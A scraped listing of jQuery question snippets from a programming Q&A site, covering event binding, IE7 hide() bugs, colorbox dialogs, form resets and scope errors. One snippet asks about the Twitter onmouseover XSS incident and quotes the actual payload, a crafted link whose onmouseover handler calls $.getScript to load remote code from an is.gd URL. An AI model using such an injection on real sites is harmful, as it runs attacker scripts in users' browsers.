jquery

Bind jQuery element break if the element is not found on the page?

Hello, what happens if the element I am binding jQuery code to is not found on the page? Does the previous binded code breaks? Let me explain it with a sample. I have the following code inside my page: <script type="text/javascript"> $(document).ready(function() { $('.deleteMemo').live('click', function() { $.ajax({ ...

relative positioned elements don't hide with jQuery hide() in IE 7

I am trying to show and hide elements on my page with jQuery's hide() method, and it works perfectly in all browsers besides IE 7. These elements are hidden when the page loads in the jQuery(function($){} method, and then can be later shown or hidden by the user. In Internet Explorer, not all elements are hidden. Some (so far, only bu...

Using JQuery with ASP.NET Web Forms on Postback

I've read plenty of good blog posts on integrating jquery with ASP.NET web forms to utilize the data access capabilities, but I'm curious to know how easy it would be to use some of jquery's animation capabilities before a postback. I can think of two good examples: 1) When I click on a asp:button, animate a div, but then do a regular p...

$.getJSON problem

Hi, I am creating an object for handling youtube api. In my object I have to methods : getCommentList - getting a url for the current upload,for example http://gdata.youtube.com/feeds/api/videos/VIDEO_ID/comments?alt=json and return an array of objects - author of the comment and the content of the comment. getEntriesObject - returni...

Today's XSS onmouseover exploit on twitter.com

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ Is this technically an XSS attack or something else? Here is how the Twitter home page l...

Jquery - Mouseover DIV = addClass

Hi, i build this really simple script but i did not work. Can somebody tell me where the bug is? HTML <div id="hello" style="border: 1px solid #000000; margin:10px; padding:5px;">Hello</div> <div style="border: 1px solid #000000; margin:10px; padding:5px;">Word</div> <div style="margin:10px; padding:5px;">Test</div> JS $(function()...

Why won't jQuery accept this string?

When I run this function: onUnCheck: function(el) { var thenames = "icon-"+el.find("label:first").text().replace(/ /g,'').toLowerCase(); alert(thenames); $("'."+thenames+"'").hide("fast"); } I generate a string. I can see in the alert() that it is indeed the correct string. Example: icon-jira But when I pass th...

jquery replace < with " " (a space)

I'm trying to replace the characters < and > onblur with a space when someone enters it into my form. I've got this at the moment $(".tbAddress").blur(function() { $("<").replaceWith(" "); $(">").replaceWith(" "); } Any help would be much appreciated thanks Jamie ...

colorbox close confirmation

$(document).ready(function(){ $('#rest').colorbox(); $("#cboxClose").click(function(){ $.fn.colorbox.close(); }); var cboxClose = $.fn.colorbox.close; $.fn.colorbox.close = function(){ if(confirm("Are you sure?")) { cboxClose(); } } }); this code close my jquery colorbox when i confirm the dialog, but if i click on cancel (!confirm) it...

putting an underscore in its place

how do I take the string using jQuery Standard Class and turn it into this Standard_Class if this is the id $('#some_id').text; ...

How can i refresh a form using jquery.

How can i refresh the form using jquery. Or how can reload the form using jquery. i am filling a form using some session values. Using Jquery Post i unset session , but values are already filled in the form Am trying to reset all form values after un setting the session. $('#form')[0].reset(); is not working after an $post ajax ca...

Small Programming confusion regarding if else and else if in jquery

Say i have a table row with the two text boxes and i want to manipulate them based on the screens and some array values <tr id ="myrow" style="display:none"> <td> test1<input type="text" name="some" value ="some"> test2<input type="text" name="test2" value ="test2"> </td> </tr> i a...

jQuery function to load Rails partial?

I have a jQuery function that updates my data ever few seconds. But! It's not parsing the javascript it's loading. It just calls it appropriately every few seconds, and replaces my content with unparsed javascript code. setupMediaIndexPoller: function(organization) { url = '/organizations/' + organization + '/media/photos_and_video...

javascript firebug error

I have a javacript code coupon.js defined as follows - jQuery(document).ready(function(){ jQuery('.appnitro').submit( function() { $.ajax({ url : $(this).attr('action'), type : $(this).attr('method'), dataType: 'json', data : $(this).serialize(), success : function( data ) { for(var id in data) { jQuery('#' + id).html( data[id] ...

How to escape and unescape strings with jQuery and mySQL.

I have a field in my database that has a freetext area, and uses quotes for many things. On my website, that field is shown in a textarea, but I can't simply put the value between the textarea tags. I need to be able to set it with javascript. I use jQuery to do this, via: jQuery('#notes').val('{NOTES}'); Since the text can have sing...

Proper way of getting several scripts asynchronously using Jquery with post-document-ready callback

I'm planning on getting several JS files from my server asynchronously while the page loads. I am aware of the Jquery function "getScript", but this only gets 1 script. Is there any way of specifying a callback to be executed when a batch of scripts have been fetched from the server? I thought about doing something like this: $.getScr...

Issue with jQuery keydown

Hi folks, I am facing an issue with this simple jQuery code. I have attached the HTML structure as well, The code is setting focus to the input field fine if I make a click anywhere on the div with id "scroll-pane", but if I click anywhere else in the screen, for example, code above the div id "scroll-pane", it doesnt bring the focus...

Need help to understand the usage of ":" in JavaScript

I'm using jQuery validate plugin, and when I met the following script, i recognize, that i don't understand many things in jQuery:) Look please $("#invitationform").validate({ rules: { phone: List item { required: true, minlength: 6, number:true } ...

Is there a limit to how many times FBML.XFBML.parse() can be called per page?

I have the following code to dynamically load a XFBML fragment into an Facebook IFRAME application. The HTML: <div id="fragment" style="display:none"> <fb:serverfbml id="fragmentfbml"> </fb:serverfbml> The jQuery code: <script type="text/javascript"> function loadFragment() { jQuery.ajax( { url: "xfbml_fragment.php"...

Variable Scope help: this.reset() is not a function

when save() executes this.reset() or that.reset() it can't find the reset() method and says it's not a function. I used a workaround on init() to get it to work, but that method didn't work in save() var vehicle = function () { return { init: function () { var that = this; jQuery('.vehicle-year-prof...